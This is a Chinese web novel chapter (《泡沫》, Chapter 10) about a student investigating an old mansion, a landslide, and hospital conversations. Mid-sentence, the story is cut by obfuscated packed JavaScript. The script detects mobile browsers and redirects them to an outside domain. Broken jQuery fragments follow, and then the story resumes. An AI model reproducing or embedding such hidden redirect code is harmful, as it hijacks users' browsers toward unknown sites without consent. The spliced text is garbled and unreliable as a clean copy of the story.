11. 第10章

作品:《泡沫

    夜凉如水,山风特别猛,吹得玻璃窗颤颤发抖。


    看到管家和慕林洲驾车离去,我才翻墙爬进屋里。我拿着手电筒搜索,发现所有房间都是空的,除了几件残破的家具,找不到任何指向古宅历史的资料。


    走了好久,我发现转角楼梯旁有一处阁楼。奇怪的是,几乎所有房间都是灰尘漫飞,只有阁楼房间一尘不染,不仅灯能打开,还有几件完好的家具。


    衣柜里挂了几件军绿色和白色的衣服,我拿出一件长袖白T换下,查看房里的物件。这既不像女生的房间,也不像男生的房间,就衣柜里的服装来看,长的适合男生的身型,短的适合女生的身型。


    书桌放着一个老式索尼CD机,机器边缘已经生锈,却没有半点灰尘,似乎每天都有人清洁。这年代用CD机的人极少,除了阁楼主人,也许只有廖小雨。廖小雨把她的索尼CD机当宝贝,连碰都不让我碰一下。


    我还没碰过这种玩意儿,按下打开键,里头躺着一张光盘,普通得就像廖小雨翻录的光盘一样。然而,刚盖上盖子,声音就突然溢出来了。


    半夜里在半山古宅,已经是非常惊悚的事了,这老旧CD机还不受控制放出声音,把我吓得就快魂飞魄散。


    还好听起来像情歌,有股细水长流的温柔,但旋律是摇滚曲,节奏铿锵有力,不像普通情歌娓娓道来,反而像对信念的呐喊,虽然不知唱的是哪国语言,却有种心灵相通的感觉。


    我打开其他柜子,试图找出光盘的封面,却找不到。今晚除了一张光盘,没有收获了。


    困意如潮涨,最后是怎么睡着的,我自己都不清楚。


    听到门外有人开锁的声音,我骤然惊醒,开门一看,是清洁阿姨,还有她身后的慕林洲。


    慕林洲看到我那刻,并无惊讶,脸色平淡地说:“程禹衡找你了。”


    程禹衡怎么会找我?我没有告诉他,我离开学校到市区调研了,而且程禹衡怎么会通过慕林洲找我?除非,慕林洲告诉程禹衡在古宅遇到我。


    我转身拿起背包,刚走出房间,慕林洲便转身看我,看得非常专注,眼神像雄性动物盯着雌性动物一样,眼底潜藏着混沌不清的情潮,我低头一看,衣服堪堪遮住屁股,露出大片肌肤,我急忙将衣服往下拉,脸红耳燥地关门,换回自己的衣服。


    下楼的时候,管家老人招呼我去玻璃房吃早餐。半山荒废的古宅竟然备了早餐,真是奇怪。


    慕林洲坐在一旁看报纸,声音淡淡地下逐客令:“30分钟后,启程回去。”


    我点了点头,吃着热乎乎的红薯粥,左手咬一口煎饼,右手撒点芝麻,心里琢磨着该不该解释昨晚夜闯古宅的事。


    抬头时,发现慕林洲用专注的眼神看着我,我把手中煎饼放下,擦了擦嘴巴,讪讪地说:“谢谢你们的早餐,粥很好吃,煎饼很入味,芝麻很香。”


    慕林洲木然点头,将报纸打开,将我挡在视线以外。他只喝了几口茶,见我吃完早餐,起身就走。


    我头一回坐在廖小雨垂涎已久的劳斯莱斯。慕林洲转动方向盘,车子向后拐弯,从岔道驶出,顺着盘山公路驶去。车上播着音乐,声音不大,足够填充尴尬的气氛。


    他问:“这个调查要做到什么时候?”


    这个问题他问了两遍,显然他不喜欢别人打搅他朋友的古宅,也可能埋怨我偷偷潜入古宅过了一晚。


    我将耳边碎发捋到耳后,察言观色道:“如果顺利,大概1个月……吧。”


    他表情有点僵硬,我急忙说:“如果有足够的资料,让我完成课题报告,我以后都不会来。”


    他身躯一震,问:“你找到什么了?”


    我挑眉,打量他冰雕一样的脸,“其实我有很多疑问,譬如这个古宅目前的确权人是谁?如果可以直接找主人做采访,是最省事的。你能不能……”


    他还是昨天那个态度:“我朋友离开这里很久了。”


    “那阁楼房间是慕先生和你的未婚妻暂住用的吗?”我把猜测脱口而出,“我看衣柜里挂着情侣装,外套和衬衫都有长短两款,猜想这对情侣的感情应该很好。这个年头穿情侣装需要很大勇气,很少人愿意穿。”


    他表情变得严肃,眉头紧拧许久,好半晌才听到他用有点悲伤的口吻说:“是屋主的房间。”


    屋主不住在最豪华的主套,偏偏跟爱人挤在最不显眼的阁楼里,衣柜里没有名贵衣衫,只有简约普通的休闲服。我想到了另外一种可能,“他还挺低调的,是小时候住惯了不想换吗?”


    慕林洲目视前方道路,神情变得异常冷峻,仿佛冰窖散发寒气,我赶紧换了个话题:“房里的索尼CD机是老古董了吧,我舍友特别喜欢收藏CD机,天天把她的宝贝擦得发亮。我能带朋友来看看吗?”


    他表情有点奇怪,似乎不太愿意,又似在思考。


    “那CD机放在阁楼,很相称。”


    “相称?”


    “感觉它就该属于那个房间。”


    他眉头皱得更深,我连忙说:“没关系,古玩店里也有很多。”我想尽快结束这个话题。


    他忽然问:“你喜欢吗?你们经常用CD机放音乐吗?”


    “喜欢是喜欢,不过不常用。”实际是从来都不用。我一直怀疑廖小雨的CD机坏了,不然怎么光擦不播音乐。


    “我有一部闲置下来,如果你喜欢,哪天顺路拿给你。”他转头看了我一眼,又移开视线。


    我点了点头,又觉得有点不对劲,特别是看到他嘴边划出的笑意,总感觉这是婉转的拒绝,然后送一份安慰奖。


    我想着要避嫌,说:“可以先拿到程禹衡那儿,我学校特别远,与这里简直一南一北两个头。”


    他沉默半晌,说:“我不太顺路去医院,我有时候会经过你们学校,你的号码是多少?”


    被要电话,头一回发生在我身上。我生硬地吐出每个数字,末了说:“我叫殷蔓。”


    他低头浅笑,露出净白的牙齿,“我知道。”


    我想起上次在停车场,他知道我姓殷,我疑惑道:“你怎么知道?我们认识吗?”


    他想了想,说:“我在医院见过你。”


    我瞬间明白其中意思,他知道我曾经是精神病患者。突然间,我感受到一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858851|159417||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    种被粉碎的感觉,可笑的是我刚才还在臆想他是不是对我动了他的花花肠子。


    他发现我脸色不太好,无声无息地打量我。我因为他刚才的话中话,半响了都找不到状态。


    下一瞬,车前跑出一只野马,慕林洲立刻转动方向盘,但是盘山公路本来是狭窄的两车道,野马站在路中间,慕林洲驾驶技术再好,车子还是转到栏杆上,损了点角。


    我以为危险过去了,未料头顶传来石头滚动的声音。


    普通城市人大概这辈子都不会遇到的泥石流,竟然发生在我和慕林洲身上。


    .


    医院里。


    “虽然常说你喜欢肌肉男比较重口,但是你家医生真人比上镜好看多了,你那拍照技术还拿出来得瑟,我都替你羞耻!不过,那个穿西装的家伙什么来头,简直帅出宇宙了!”


    廖小雨放下从医院小卖部买来的慰问品二十四罐可乐,往门外的黑装背影瞅去,我顺着她的视线看,才发现慕林洲还没离开,跟程禹衡说话。


    想起早上发生的无妄之灾,我还惊魂未定,所幸只是脚受伤,不过慕林洲比我幸运,什么事都没有。但也多亏他安然无恙,从半山腰把我抱到山脚下,拦下一辆车,将我送到南城医院。


    廖小雨花痴地称赞着慕林洲,我敷衍回了几句,那副心事重重的模样,被廖小雨发现了,“丫的怎么回事?”


    刚才慕林洲抱着我去急诊室就诊时,我不经意看到后楼梯的一对璧人。


    我曾经找遍公寓每个角落,试图找出程禹衡前妻的蛛丝马迹,所获却是零。我捕风捉影没有结果,只能在潜意识里把她想象成浓妆艳抹不讲道理的女人。


    然而第一眼看见她,我似乎明白程禹衡为什么之前会拒绝我,也明白同一屋檐下多年他对我一点兴趣都没有的原因。楼梯口昏黄的灯光照出他前妻漂亮的轮廓,气质高雅,彷如漫画里走出的圣母玛利亚。


    “喂?喊你呢!丫的被滑石流撞花脑袋了?”廖小雨一刻不毒舌就不舒服,可是下一秒变了画风,像只哈巴狗贴着我,“把那个叫慕林洲的帅哥介绍给我认识吧!”还眨巴眨巴眼睛。


    她太损人了,明知道我最受不了这招,不管谁对我眨眼,我都全身鸡皮疙瘩丢一地。我举手投降,“我和他不熟。”默了默,柔声劝她:“你别想了,他有未婚妻,那女人很恐怖的。”


    “那就等他离婚呗。”廖小雨将喝完的可乐罐子捏扁还不够,抬头捏了把我的脸。她很喜欢捏我的脸,说手感不错,还说这是师姐的专属权力。我取笑她哪门子师姐,不就是复读了又复读,放弃毕业。


    虽然她跟我很铁,但是从不跟我说循环复读的原因,每回我旁敲侧击这事儿,她就笑嘻嘻地说要读到老师愿意给她介绍院里职位为止。天底下没有人比她更爱南大了,每届一千多名学生里,恐怕只有她见证了南大从二本升到一本、又从一本升到重本的过程,现在还打算延长这份爱的年限,付出职业生涯。


    但是,她的背影总有种淡淡的寂寥,她的烦恼只有她自己知道。别看她平日嬉皮笑脸的,那只是个空壳,谁都没法走进壳里看个究竟。